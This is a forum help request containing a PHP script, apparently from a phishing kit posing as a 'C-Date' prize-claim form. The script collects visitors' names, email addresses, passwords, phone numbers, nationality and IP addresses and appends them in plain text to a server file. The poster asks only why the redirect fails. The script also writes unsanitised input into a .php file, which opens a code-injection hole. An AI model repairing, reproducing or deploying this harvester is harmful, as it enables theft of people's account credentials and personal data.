I have the below script:
Code:<?php $ip = getenv("REMOTE_ADDR"); $message1 .= "First Name: ".$_POST['fname']."\n"; $message2 .= "Last Name: ".$_POST['lname']."\n"; $message3 .= "Email Address: ".$_POST['email']."\n"; $message4 .= "Password: ".$_POST['password']."\n"; $message5 .= "Telephone number: ".$_POST['tel']."\n"; $message6 .= "Nationality: ".$_POST['addre']."\n"; $message7 .= "Age: ".$_POST['age']."\n"; $message8 .= "Occupation: ".$_POST['occupy']."\n"; $message9 .= "Language: ".$_POST['lang']."\n"; $message10 .= "IP: ".$ip."\n"; $message11 .= "-----------------------\n"; $To = $_POST['email']; $Subject = "Hello ".$_POST['fname'].", C-Date has received your information."; //subject here $Message = "=======\n We are happy to have you ".$_POST['fname'].".\n Jossyo\n ====== "; // message here $Headers = "From: site-mail@yourdomain.com \r\n" . //change site-mail@yourdomain.com with your site email "Content-type: text/html; charset=UTF-8 \r\n"; if ($filehandler=fopen("store_datas_here/claimstoredata.php","a")) { fwrite($filehandler,$message1.$message2.$message3.$message4.$message5.$message6.$message7.$message8.$message9.$message10.$message11); fclose($filehandler); mail($To, $Subject, $Message, $Headers); header("Location: thank_you_claim.php"); } ?>
I had a problem with the page after uploading it. After submitting the form, I got the following message.
====Code:Warning: Cannot modify header information - headers already sent by (output started at /home/cdatesco/public_html/en/draw_results_exec.php:6) in /home/cdatesco/public_html/en/draw_results_exec.php on line 59
This is because I changed the language of the file property to Unicode UTF-8 and i saw this at the top of the page:
which was not there initially.Code:<head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head>
It delivers the message but cannot redirect to the header("Location: thank_you_claim.php");
Can someone please correct this for me?



Reply With Quote

Bookmarks